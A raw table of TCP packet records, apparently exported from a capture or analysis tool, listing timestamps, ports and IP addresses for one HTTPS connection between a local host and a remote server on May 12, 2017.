May 12, 2017 18:54:27.897670031 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.897730112 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.897753954 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.898520947 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.898817062 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.898828983 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.898837090 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.898910999 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.905919075 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.905932903 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.905942917 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.906003952 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.907593966 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.907608032 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.907615900 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.907675982 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.908159018 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.908559084 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.908571959 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.908580065 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.908657074 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.916834116 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.916861057 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.916877985 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.916968107 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.917834997 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.917844057 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.917856932 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.918134928 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.925353050 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.925365925 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.925374031 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.925617933 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.927690029 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.927704096 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.927716970 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.927782059 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.933551073 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.933571100 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.933693886 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.933722973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.933741093 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.933753967 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.934283972 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.934310913 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.934884071 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.946811914 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.946835995 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.946845055 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.947021008 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.947051048 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.953670979 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.953696012 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.953799963 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.953823090 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.959028959 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.959053040 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.959108114 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.959122896 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.962937117 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.962960005 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.963032961 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.963046074 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.967148066 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.967170954 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.967246056 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.967262030 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.973227978 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.973248959 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.973285913 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.973304033 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.973645926 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.973718882 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.975562096 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.975661993 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.975673914 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.976177931 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.981514931 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.981529951 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.981554985 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.982338905 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.982563972 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.982578039 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.982589006 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.982706070 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.991981030 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.992007971 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.992027044 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.992091894 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.992753983 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.992763996 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.992783070 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.993082047 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:27.998480082 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.998501062 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.998506069 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:27.998595953 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.001310110 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.001323938 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.001354933 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.001441002 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.001773119 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.002034903 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.002048016 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.002064943 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.002547026 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.009789944 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.009820938 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.009829998 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.009993076 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.012051105 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.012140036 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.012155056 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.012722969 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.012743950 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.012767076 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.012794971 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.012824059 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.020284891 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.020298958 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.020530939 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.020562887 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.021789074 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.022063017 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.022094965 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.022106886 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.022186041 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.026417971 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.026433945 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.026448965 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.026669979 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.031402111 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.031416893 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.031424999 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.031611919 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.034810066 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.034826994 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.034837961 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.035020113 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.037075043 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.037089109 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.037096024 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.037180901 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.040888071 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.040909052 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.040927887 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.041018963 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.045464039 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.045485973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.045494080 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.045633078 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.046329021 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.051772118 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.051786900 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.051796913 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.051914930 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.052417994 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.052438974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.052445889 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.052731991 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.058815002 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.058842897 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.058866024 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.060700893 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.061831951 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.061851978 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.061862946 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.062159061 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.071243048 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.071260929 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.071278095 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.071356058 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.071367025 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.071569920 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.071609974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.072329998 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.072344065 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.072587967 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.072623968 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.073822021 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.074623108 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.084407091 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.084424973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.084453106 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.084574938 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.093501091 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.093527079 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.093550920 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.093641043 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.094414949 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.094435930 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.094443083 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.094571114 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.103705883 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.103727102 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.103734970 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.103800058 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.108361006 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.108381033 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.108392954 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.108509064 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.116760015 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.116786957 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.116803885 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.116950989 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.117707014 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.117732048 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.117744923 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.117883921 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.118158102 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.131680965 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.131706953 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.131720066 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.131827116 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.148926973 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.148947954 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.148956060 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.149072886 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.166949034 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.166980982 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.167002916 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.167150021 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.175476074 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.175512075 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.175524950 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.175679922 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.176428080 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.176476955 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.176486015 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.176598072 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.190692902 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.190721035 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.190756083 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.190856934 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.190871954 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.190900087 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.190920115 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.192555904 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.199165106 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.199188948 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.199218988 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.199325085 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.199878931 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.212642908 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.213386059 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.213537931 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.213567972 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.213579893 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.213645935 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.213766098 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.213783026 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.213793993 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.213839054 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.213891983 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.222851992 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.222867012 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.222887039 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.222938061 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.239032030 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.239048958 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.239058018 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.239120007 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.248209953 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.248226881 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.248234034 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.248311996 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.248653889 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.288450003 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.305226088 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.305248022 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.305272102 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.306330919 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.308501005 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.309952974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.309977055 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.310105085 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.310127974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.310722113 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.310744047 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.310909986 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.310930967 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.312273979 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.312289953 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.312391043 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.312408924 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.312747002 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.312772989 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.313357115 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.313371897 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.313693047 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.313719034 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.313946962 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.313954115 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314090014 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.314116001 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314140081 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314152956 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314234018 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.314259052 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314352036 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314364910 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.314505100 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.314528942 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.323786974 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.323803902 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.324124098 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.324158907 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.329955101 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.329971075 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.330542088 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.330558062 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.333030939 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.333045959 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.333108902 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.333126068 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.341787100 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.342051029 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.342936039 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.342955112 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.347162008 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.347181082 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.347193003 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.347428083 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.348656893 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.348679066 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.348690987 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.348819971 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.349662066 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.356894016 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.356920004 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.356935978 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.357012987 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.357798100 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.357820988 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.357950926 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.357994080 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.367095947 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.367125034 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.367228031 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.367250919 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.376270056 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.376300097 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.376354933 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.376374006 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.376521111 CEST	49196	443	192.168.1.16	131.188.40.189
May 12, 2017 18:54:28.380218029 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.380240917 CEST	443	49196	131.188.40.189	192.168.1.16
May 12, 2017 18:54:28.380312920 CEST	49196	443	192.168.1.16	131.188.40.189
